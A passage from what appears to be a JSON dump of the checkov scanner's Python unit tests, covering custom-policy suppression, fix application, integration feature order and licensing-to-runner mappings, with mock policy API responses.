bc_check_id=\"BC_AWS_ELASTICSEARCH_3\"\n        )\n\n        scan_reports.failed_checks.append(record)\n        custom_policies_integration.policy_level_suppression = ['BC_AWS_ELASTICSEARCH_3_80341358308']\n        custom_policies_integration.post_runner(scan_reports)\n        self.assertEqual(1, len(scan_reports.failed_checks))\n        self.assertEqual('mikepolicies_cloned_AWS_1625063607541', scan_reports.failed_checks[0].check_id)\n\n    def test_post_runner_with_non_failed_cloned_checks_with_suppression(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n        custom_policies_integration = CustomPoliciesIntegration(instance)\n\n        # mock _get_policies_from_platform method\n        instance.customer_run_config_response = mock_custom_policies_response()\n        failed_cloned_policy = instance.customer_run_config_response.get('customPolicies')[0]\n        custom_policies_integration.pre_scan()\n        custom_policies_integration.bc_cloned_checks = failed_cloned_policy\n\n        scan_reports = Report(\"terraform\")\n        record = Record(\n            check_id=\"CKV_AWS_5\",\n            check_name=\"Ensure all data stored in the Elasticsearch is securely encrypted at rest\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=\"./main.tf\",\n            file_line_range=[7, 10],\n            resource=\"aws_elasticsearch_domain.enabled\",\n            evaluations=None,\n            check_class='',\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n            bc_check_id=\"BC_AWS_ELASTICSEARCH_3\"\n        )\n\n        scan_reports.failed_checks.append(record)\n        failed_cloned_policy_record = deepcopy(record)\n        failed_cloned_policy_record.check_id = failed_cloned_policy['id']\n        failed_cloned_policy_record.bc_check_id = failed_cloned_policy['id']\n        failed_cloned_policy_record.guideline = failed_cloned_policy['guideline']\n        failed_cloned_policy_record.severity = failed_cloned_policy['severity']\n        failed_cloned_policy_record.check_name = failed_cloned_policy['title']\n\n        scan_reports.failed_checks.append(failed_cloned_policy_record)\n        custom_policies_integration.policy_level_suppression = ['mikepolicies_cloned_AWS_1625063607541_80341358308']\n        custom_policies_integration.post_runner(scan_reports)\n        self.assertEqual(1, len(scan_reports.failed_checks))\n        self.assertEqual('CKV_AWS_5', scan_reports.failed_checks[0].check_id)\n\n    def test_policy_load_with_resources_types_as_str(self):\n        # response from API\n        policies = [\n            {\n                \"id\": \"policy_id_1\",\n                \"title\": \"yaml1\",\n                \"severity\": \"MEDIUM\",\n                \"category\": \"General\",\n                \"guideline\": \"yaml1\",\n                \"code\": json.dumps({\n                    \"or\": [\n                        {\n                            \"value\": \"xyz\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"xyz\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": \"aws_s3_bucket\"\n                        }\n                    ]\n                }),\n                \"benchmarks\": {},\n            },\n            {\n                \"id\": \"policy_id_2\",\n                \"title\": \"ui1\",\n                \"severity\": \"HIGH\",\n                \"category\": \"General\",\n                \"guideline\": \"ui1\",\n                \"code\": json.dumps({\n                    \"value\": \"abc\",\n                    \"operator\": \"equals\",\n                    \"attribute\": \"region\",\n                    \"cond_type\": \"attribute\",\n                    \"resource_types\": [\n                        \"aws_s3_bucket\"\n                    ]\n                }),\n                \"benchmarks\": {},\n            },\n            {\n                \"id\": \"policy_id_3\",\n                \"title\": \"Check that all EC2 instances are tagged with yor_trace\",\n                \"descriptiveTitle\": \"null\",\n                \"constructiveTitle\": \"null\",\n                \"severity\": \"LOW\",\n                \"pcSeverity\": \"null\",\n                \"category\": \"General\",\n                \"guideline\": \"Check for YOR tagging\",\n                \"code\": json.dumps({\n                    \"operator\": \"exists\",\n                    \"attribute\": \"Tags.yor_trace\",\n                    \"cond_type\": \"attribute\",\n                    \"resource_types\": [\n                        \"AWS::EC2::Instance\"\n                    ]\n                }),\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"Terraform\",\n                    \"CloudFormation\"\n                ],\n            },\n            {\n                \"id\": \"policy_id_4\",\n                \"title\": \"Custom - ensure MSK Cluster logging is enabled\",\n                \"descriptiveTitle\": \"null\",\n                \"constructiveTitle\": \"null\",\n                \"severity\": \"MEDIUM\",\n                \"pcSeverity\": \"null\",\n                \"category\": \"Logging\",\n                \"resourceTypes\": [\n                    \"AWS::MSK::Cluster\"\n                ],\n                \"accountsData\": {},\n                \"guideline\": \"Some sample guidelines\",\n                \"isCustom\": True,\n                \"code\": json.dumps({\n                    \"or\": [\n                        {\n                            \"value\": \"true\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"LoggingInfo.BrokerLogs.S3.Enabled\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"AWS::MSK::Cluster\"\n                            ]\n                        },\n                        {\n                            \"value\": \"true\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"LoggingInfo.BrokerLogs.Firehose.Enabled\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"AWS::MSK::Cluster\"\n                            ]\n                        },\n                        {\n                            \"value\": \"true\",\n                            \"operator\": \"equals\",\n                            \"attribute\": \"LoggingInfo.BrokerLogs.CloudWatchLogs.Enabled\",\n                            \"cond_type\": \"attribute\",\n                            \"resource_types\": [\n                                \"AWS::MSK::Cluster\"\n                            ]\n                        }\n                    ]\n                }),\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"Terraform\",\n                    \"CloudFormation\"\n                ],\n            },\n            {\n                \"id\": \"policy_id_5\",\n                \"title\": \"Custom - ensure SQL pool valid create mode\",\n                \"severity\": \"HIGH\",\n                \"category\": \"General\",\n                \"guideline\": \"Custom - ensure\",\n                \"code\": json.dumps({\n                    \"value\": \"Recovery\",\n                    \"operator\": \"equals\",\n                    \"attribute\": \"createMode\",\n                    \"cond_type\": \"attribute\",\n                    \"resource_types\": [\n                        \"Microsoft.Synapse/workspaces/sqlPools\"\n                    ]\n                }),\n                \"benchmarks\": {},\n            }\n        ]\n\n        # for this test, we simulate some of the check registry manipulation; otherwise the singleton\n        # instance will be modified and break other tests.\n\n        parser = GraphCheckParser()\n\n        registry = Registry(parser=GraphCheckParser(), checks_dir=str(\n            Path(__file__).parent.parent.parent.parent / \"checkov\" / \"terraform\" / \"checks\" / \"graph_checks\"))\n        checks = [parser.parse_raw_check(CustomPoliciesIntegration._convert_raw_check(p)) for p in policies]\n        registry.checks = checks  # simulate that the policy downloader will do\n        \n        \ndef mock_custom_policies_response():\n    return {\n        \"customPolicies\": [\n            {\n                \"id\": \"mikepolicies_cloned_AWS_1625063607541\",\n                \"title\": \"Cloned policy\",\n                \"severity\": \"CRITICAL\",\n                \"category\": \"General\",\n                \"frameworks\": [\n                    \"Terraform\",\n                    \"CloudFormation\"\n                ],\n                \"resourceTypes\": [\n                    \"aws_s3_bucket\"\n                ],\n                \"guideline\": \"mikepolicies_cloned_AWS_1625063607541\",\n                \"benchmarks\": {},\n                \"createdBy\": \"mike+policies@bridgecrew.io\",\n                \"code\": \"null\",\n                \"sourceIncidentId\": \"BC_AWS_ELASTICSEARCH_3\"\n            },\n            {\n                \"id\": \"kpande_AZR_1648821862291\",\n                \"code\": \"{\\\"and\\\":[{\\\"operator\\\":\\\"exists\\\",\\\"cond_type\\\":\\\"connection\\\",\\\"resource_types\\\":[\"\n                        \"\\\"azurerm_subnet_network_security_group_association\\\"],\\\"connected_resource_types\\\":[\"\n                        \"\\\"azurerm_subnet\\\",\\\"azurerm_network_security_group\\\"]},{\\\"value\\\":[\\\"azurerm_subnet\\\"],\"\n                        \"\\\"operator\\\":\\\"within\\\",\\\"attribute\\\":\\\"resource_type\\\",\\\"cond_type\\\":\\\"filter\\\"}]}\",\n                \"title\": \"Ensure subnet is associated with NSG\",\n                \"guideline\": \"Every subnet should be associated with NSG for controlling access to \\nresources within \"\n                             \"the subnet.\\n\",\n                \"severity\": \"HIGH\",\n                \"pcSeverity\": None,\n                \"category\": \"Networking\",\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"sourceIncidentId\": None,\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"CloudFormation\",\n                    \"Terraform\"\n                ]\n            },\n            {\n                \"id\": \"kpande_kubernetes_1650378013211\",\n                \"code\": \"{\\\"operator\\\":\\\"exists\\\",\\\"attribute\\\":\\\"spec.runAsUser.rule\\\",\\\"cond_type\\\":\\\"attribute\\\",\"\n                        \"\\\"resource_types\\\":[\\\"PodSecurityPolicy\\\"]}\",\n                \"title\": \"k8s policy\",\n                \"guideline\": \"meaningful guideline for k8s policy\",\n                \"severity\": \"HIGH\",\n                \"pcSeverity\": None,\n                \"category\": \"Kubernetes\",\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"sourceIncidentId\": None,\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"Kubernetes\"\n                ]\n            },\n            {\n                \"id\": \"kpande_bicep_1650378013212\",\n                \"code\": \"{\\\"operator\\\":\\\"exists\\\",\\\"attribute\\\":\\\"spec.runAsUser.rule\\\",\\\"cond_type\\\":\\\"attribute\\\",\"\n                        \"\\\"resource_types\\\":[\\\"PodSecurityPolicy\\\"]}\",\n                \"title\": \"bicep policy\",\n                \"guideline\": \"meaningful guideline for bicep policy\",\n                \"severity\": \"HIGH\",\n                \"pcSeverity\": None,\n                \"category\": \"bicep\",\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"sourceIncidentId\": None,\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"bicep\"\n                ]\n            },\n            {\n                \"id\": \"kpande_arm_1650378013213\",\n                \"code\": \"{\\\"operator\\\":\\\"exists\\\",\\\"attribute\\\":\\\"spec.runAsUser.rule\\\",\\\"cond_type\\\":\\\"attribute\\\",\"\n                        \"\\\"resource_types\\\":[\\\"PodSecurityPolicy\\\"]}\",\n                \"title\": \"arm policy\",\n                \"guideline\": \"meaningful guideline for arm policy\",\n                \"severity\": \"HIGH\",\n                \"pcSeverity\": None,\n                \"category\": \"arm\",\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"sourceIncidentId\": None,\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"arm\"\n                ]\n            }\n        ]\n    }\n\n\ndef mock_multiple_frameworks_custom_policy_response():\n    return {\n        \"customPolicies\": [\n            {\n                \"id\": \"kpande_bicep_1650378013212\",\n                \"code\": \"{\\\"operator\\\":\\\"exists\\\",\\\"attribute\\\":\\\"spec.runAsUser.rule\\\",\\\"cond_type\\\":\\\"attribute\\\",\"\n                        \"\\\"resource_types\\\":[\\\"PodSecurityPolicy\\\"]}\",\n                \"title\": \"bicep policy\",\n                \"guideline\": \"meaningful guideline for bicep policy\",\n                \"severity\": \"HIGH\",\n                \"pcSeverity\": None,\n                \"category\": \"bicep\",\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"sourceIncidentId\": None,\n                \"benchmarks\": {},\n                \"frameworks\": [\n                    \"bicep\"\n                ]\n            },\n            {\n                \"id\": \"multiple_frameworks_policy_1625063607541\",\n                \"title\": \"multiple frameworks policy\",\n                \"code\": \"{\\\"and\\\":[{\\\"operator\\\":\\\"exists\\\",\\\"cond_type\\\":\\\"connection\\\",\\\"resource_types\\\":[\"\n                        \"\\\"azurerm_subnet_network_security_group_association\\\"],\\\"connected_resource_types\\\":[\"\n                        \"\\\"azurerm_subnet\\\",\\\"azurerm_network_security_group\\\"]},{\\\"value\\\":[\\\"azurerm_subnet\\\"],\"\n                        \"\\\"operator\\\":\\\"within\\\",\\\"attribute\\\":\\\"resource_type\\\",\\\"cond_type\\\":\\\"filter\\\"}]}\",\n                \"severity\": \"CRITICAL\",\n                \"category\": \"General\",\n                \"frameworks\": [],\n                \"resourceTypes\": [\"aws_s3_bucket\", \"PodSecurityPolicy\"],\n                \"guideline\": \"multiple_frameworks_policy_1625063607541\",\n                \"benchmarks\": {},\n                \"createdBy\": \"mike+policies@bridgecrew.io\",\n                \"sourceIncidentId\": None\n            }\n        ]\n    }\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_fixes_integration.py",
    "content": "from __future__ import annotations\n\nimport os\nimport unittest\nfrom typing import Any, Iterable\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.integration_features.features.fixes_integration import FixesIntegration\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\n\n\n_old_check_metadata = None\n\n\nclass TestFixesIntegration(unittest.TestCase):\n    def test_integration_valid(self):\n        instance = BcPlatformIntegration()\n        instance.skip_fixes = False\n        instance.platform_integration_configured = True\n        instance.on_prem = False\n\n        fixes_integration = FixesIntegration(instance)\n\n        self.assertTrue(fixes_integration.is_valid())\n\n        instance.on_prem = True\n        self.assertFalse(fixes_integration.is_valid())\n\n        instance.on_prem = False\n        instance.skip_fixes = True\n        self.assertFalse(fixes_integration.is_valid())\n\n        instance.platform_integration_configured = False\n        self.assertFalse(fixes_integration.is_valid())\n\n        instance.skip_fixes = False\n        self.assertFalse(fixes_integration.is_valid())\n\n        fixes_integration.integration_feature_failures = True\n        self.assertFalse(fixes_integration.is_valid())\n\n    def test_apply_fixes_to_report(self):\n        instance = BcPlatformIntegration()\n        instance.skip_fixes = False\n        instance.platform_integration_configured = True\n\n        fixes_integration = FixesIntegration(instance)\n        fixes_integration._get_fixes_for_file = mock_fixes_response\n\n        metadata_integration.check_metadata = {\n            'custom_aws_12345': {'guideline': 'https://docs.bridgecrew.io/docs/ensure-vpc-subnets-do-not-assign-public-ip-by-default'},\n            'CKV_AWS_130': {\n                'id': 'BC_AWS_NETWORKING_53',\n                'title': 'Ensure VPC subnets do not assign public IP by default',\n                'guideline': 'https://docs.bridgecrew.io/docs/ensure-vpc-subnets-do-not-assign-public-ip-by-default',\n                'severity': 'MEDIUM',\n                'pcSeverity': 'MEDIUM',\n                'category': 'Networking',\n                'checkovId': 'CKV_AWS_130',\n                'constructiveTitle': 'Ensure VPC subnets do not assign public IP by default',\n                'descriptiveTitle': 'AWS VPC subnets should not allow automatic public IP assignment',\n                'pcPolicyId': '11743cd3-35e4-4639-91e1-bc87b52d4cf5',\n                'additionalPcPolicyIds': ['11743cd3-35e4-4639-91e1-bc87b52d4cf5'],\n                'benchmarks': {}\n            }\n        }\n\n        metadata_integration.bc_to_ckv_id_mapping = {\n            'BC_AWS_NETWORKING_53': 'CKV_AWS_130'\n        }\n\n        report = Report(CheckType.TERRAFORM)\n\n        file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources', 'main.tf')\n\n        report.add_record(Record(\n            check_id='CKV_AWS_130',\n            bc_check_id='BC_AWS_NETWORKING_53',\n            check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['map_public_ip_on_launch']},\n            check_name='Ensure VPC subnets do not assign public IP by default',\n            check_class='checkov.terraform.checks.resource.aws.SubnetPublicIP',\n            code_block=[(1, 'resource \"aws_subnet\" \"s\" {\\n'), (2, '  map_public_ip_on_launch = true\\n'), (3, '}\\n')],\n            evaluations=None,\n            file_abs_path=file,\n            file_line_range=[2, 3],\n            file_path='/main.tf',\n            resource='aws_subnet.s'\n        ))\n\n        report.add_record(Record(\n            check_id='custom_aws_12345',\n            bc_check_id='custom_aws_12345',\n            check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['map_public_ip_on_launch']},\n            check_name='Cloned-Ensure VPC subnets do not assign public IP by default',\n            check_class='checkov.terraform.checks.resource.aws.SubnetPublicIP',\n            code_block=[(1, 'resource \"aws_subnet\" \"s\" {\\n'), (2, '  map_public_ip_on_launch = true\\n'), (3, '}\\n')],\n            evaluations=None,\n            file_abs_path=file,\n            file_line_range=[2, 3],\n            file_path='/main.tf',\n            resource='aws_subnet.s'\n        ))\n\n        fixes_integration.post_runner(report)\n\n        self.assertTrue(all(r.fixed_definition is not None for r in report.failed_checks))\n\n    def setUp(self) -> None:\n        self._old_check_metadata = metadata_integration.check_metadata\n\n    def tearDown(self) -> None:\n        metadata_integration.check_metadata = self._old_check_metadata\n        metadata_integration.bc_to_ckv_id_mapping = {}\n\n\ndef mock_fixes_response(check_type: str, filename: str, file_contents: str, failed_checks: Iterable[Record]\n    ) -> dict[str, Any] | None:\n    return {\n        'filePath': '/private/tmp/custom/main.tf',\n        'fixes': [\n            {\n                'resourceId': 'aws_subnet.s',\n                'policyId': 'BC_AWS_NETWORKING_53',\n                'originalStartLine': 1,\n                'originalEndLine': 3,\n                'fixedDefinition': 'resource \"aws_subnet\" \"s\" {\\n}\\n'\n            },\n            {\n                'resourceId': 'aws_subnet.s',\n                'policyId': 'custom_aws_12345',\n                'originalStartLine': 1,\n                'originalEndLine': 3,\n                'fixedDefinition': 'resource \"aws_subnet\" \"s\" {\\n}\\n'\n            }\n        ]\n    }\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_integration_features.py",
    "content": "import unittest\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as policy_metadata_integration\nfrom checkov.common.bridgecrew.integration_features.features.custom_policies_integration import integration as custom_policies_integration\nfrom checkov.common.bridgecrew.integration_features.features.fixes_integration import integration as fixes_integration\nfrom checkov.common.bridgecrew.integration_features.features.repo_config_integration import integration as repo_config_integration\nfrom checkov.common.bridgecrew.integration_features.features.suppressions_integration import integration as suppressions_integration\n\n\nclass TestSuppressionsIntegration(unittest.TestCase):\n    def test_feature_order(self):\n        self.assertGreater(fixes_integration.order, max([i.order for i in [policy_metadata_integration, custom_policies_integration, repo_config_integration, suppressions_integration]]))\n        self.assertGreater(custom_policies_integration.order, policy_metadata_integration.order)\n        self.assertGreater(suppressions_integration.order, policy_metadata_integration.order)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/integration_features/test_licensing_integration.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryMapping\nfrom checkov.common.bridgecrew.integration_features.features.licensing_integration import LicensingIntegration\nfrom checkov.common.bridgecrew.licensing import CustomerSubscription, SubscriptionCategoryMapping, \\\n    CategoryToSubscriptionMapping, open_source_categories\nfrom checkov.common.bridgecrew.platform_errors import ModuleNotEnabledError\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.runner_filter import RunnerFilter\n\nfrom checkov.bitbucket.runner import Runner as bitbucket_configuration_runner\nfrom checkov.sca_package_2.runner import Runner as sca_package_runner_2\nfrom checkov.secrets.runner import Runner as secrets_runner\nfrom checkov.terraform.runner import Runner as tf_graph_runner\n\n# limited set for shorter testing\nDEFAULT_RUNNERS = (\n    tf_graph_runner(),\n    secrets_runner(),\n    bitbucket_configuration_runner(),\n    sca_package_runner_2()\n)\n\ncheckov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")]\n\n# pycharm gives false positive \"unresolved reference\" - ignore https://youtrack.jetbrains.com/issue/PY-36205\nmodule_keys = [e.value for e in CustomerSubscription]\n\nrunner_to_subscription_map = {runner: CategoryToSubscriptionMapping.get(CodeCategoryMapping[runner]) for runner in checkov_runners if 'sca_' not in runner}\nrunner_to_subscription_map['sca_package'] = CustomerSubscription.SCA\nrunner_to_subscription_map['sca_image'] = CustomerSubscription.SCA\nsubscription_to_runner_map = {CustomerSubscription(sub): [runner for runner in checkov_runners if runner_to_subscription_map.get(runner) == CustomerSubscription(sub)] for sub in module_keys}\n\n\nclass TestLicensingIntegration(unittest.TestCase):\n\n    def test_constants(self):\n        # these tests ensure that these lists get maintained if the runners and categories change\n        self.assertEqual(set(module_keys), {'IAC', 'SECRETS', 'SCA', 'SAST'})\n\n        self.assertEqual(set(checkov_runners), {\n            'ansible',\n            'argo_workflows',\n            'arm',\n            'azure_pipelines',\n            'bicep',\n            'bitbucket_configuration',\n            'bitbucket_pipelines',\n            'cdk',\n            'circleci_pipelines',\n            'cloudformation',\n            'dockerfile',\n            'github_configuration',\n            'github_actions',\n            'gitlab_configuration',\n            'gitlab_ci',\n            'helm',\n            'json',\n            'kubernetes',\n            'kustomize',\n            'openapi',\n            'sca_package',\n            'sca_image',\n            'secrets',\n            'serverless',\n            'terraform',\n            'terraform_json',\n            'terraform_plan',\n            'yaml',\n            'sast',\n            'sast_python',\n            'sast_java',\n            'sast_javascript',\n            'sast_typescript',\n            'sast_golang',\n            '3d_policy'\n        })\n\n        self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.IAC), (CodeCategoryType.IAC, CodeCategoryType.BUILD_INTEGRITY))\n        self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.SCA), (CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES))\n        self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.SECRETS), (CodeCategoryType.SECRETS,))\n        self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.SAST), (CodeCategoryType.WEAKNESSES,))\n\n        self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.IAC], CustomerSubscription.IAC)\n        self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.BUILD_INTEGRITY], CustomerSubscription.IAC)\n        self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.LICENSES], CustomerSubscription.SCA)\n        self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.VULNERABILITIES], CustomerSubscription.SCA)\n        self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.SECRETS], CustomerSubscription.SECRETS)\n        self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.WEAKNESSES], CustomerSubscription.SAST)\n\n        self.assertEqual(CodeCategoryMapping.get(CheckType.BITBUCKET_PIPELINES), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.CIRCLECI_PIPELINES), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.ANSIBLE), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.ARM), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.AZURE_PIPELINES), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.BICEP), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.CDK), CodeCategoryType.WEAKNESSES)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.CLOUDFORMATION), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.DOCKERFILE), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.GITHUB_CONFIGURATION), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.GITHUB_ACTIONS), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.GITLAB_CONFIGURATION), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.GITLAB_CI), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.BITBUCKET_CONFIGURATION), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.HELM), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.JSON), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.YAML), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.KUBERNETES), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.KUSTOMIZE), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.OPENAPI), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.SCA_PACKAGE), [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES])\n        self.assertEqual(CodeCategoryMapping.get(CheckType.SCA_IMAGE), [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES])\n        self.assertEqual(CodeCategoryMapping.get(CheckType.SECRETS), CodeCategoryType.SECRETS)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.SERVERLESS), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.TERRAFORM), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.TERRAFORM_PLAN), CodeCategoryType.IAC)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.ARGO_WORKFLOWS), CodeCategoryType.BUILD_INTEGRITY)\n        self.assertEqual(CodeCategoryMapping.get(CheckType.SAST), CodeCategoryType.WEAKNESSES)\n\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.BITBUCKET_PIPELINES), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.CIRCLECI_PIPELINES), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.ANSIBLE), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.ARM), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.AZURE_PIPELINES), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.BICEP), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.CDK), CustomerSubscription.SAST)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.CLOUDFORMATION), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.DOCKERFILE), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITHUB_CONFIGURATION), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITHUB_ACTIONS), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITLAB_CONFIGURATION), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITLAB_CI), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.BITBUCKET_CONFIGURATION), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.HELM), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.JSON), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.YAML), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.KUBERNETES), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.KUSTOMIZE), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.OPENAPI), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SCA_PACKAGE), CustomerSubscription.SCA)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SCA_IMAGE), CustomerSubscription.SCA)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SECRETS), CustomerSubscription.SECRETS)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SERVERLESS), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.TERRAFORM), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.TERRAFORM_PLAN), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.ARGO_WORKFLOWS), CustomerSubscription.IAC)\n        self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SAST), CustomerSubscription.SAST)\n\n        self.assertEqual(open_source_categories, [CodeCategoryType.IAC, CodeCategoryType.SECRETS, CodeCategoryType.BUILD_INTEGRITY])\n\n    def test_integration_valid(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = False\n        instance.platform_integration_configured = True\n\n        # it is always valid, because it always makes a determination for which runners run\n        licensing_integration = LicensingIntegration(instance)\n\n        self.assertTrue(licensing_integration.is_valid())\n\n        instance.skip_download = True\n        self.assertTrue(licensing_integration.is_valid())\n\n        instance.platform_integration_configured = False\n        self.assertTrue(licensing_integration.is_valid())\n\n        instance.skip_download = False\n        self.assertTrue(licensing_integration.is_valid())\n\n        licensing_integration.integration_feature_failures = True\n        self.assertTrue(licensing_integration.is_valid())\n\n    def test_oss_mode_enabled(self):\n        instance = BcPlatformIntegration()\n\n        licensing_integration = LicensingIntegration(instance)\n\n        licensing_integration.pre_scan()\n        self.assertTrue(licensing_integration.open_source_only)  # no API key\n\n        instance.bc_api_key = '1234'\n        licensing_integration.pre_scan()\n        self.assertTrue(licensing_integration.open_source_only)  # no customer run config\n\n        # IAC and secrets are valid, SCA is not\n        for runner_check_type in checkov_runners:\n            self.assertEqual(\n                licensing_integration.is_runner_valid(runner_check_type),\n                runner_to_subscription_map[runner_check_type] not in (CustomerSubscription.SCA, CustomerSubscription.SAST),\n            )\n\n    def test_oss_mode_resource_plan(self):\n        instance = BcPlatformIntegration()\n        licensing_integration = LicensingIntegration(instance)\n        instance.bc_api_key = '1234'\n        licensing_integration.pre_scan()\n\n        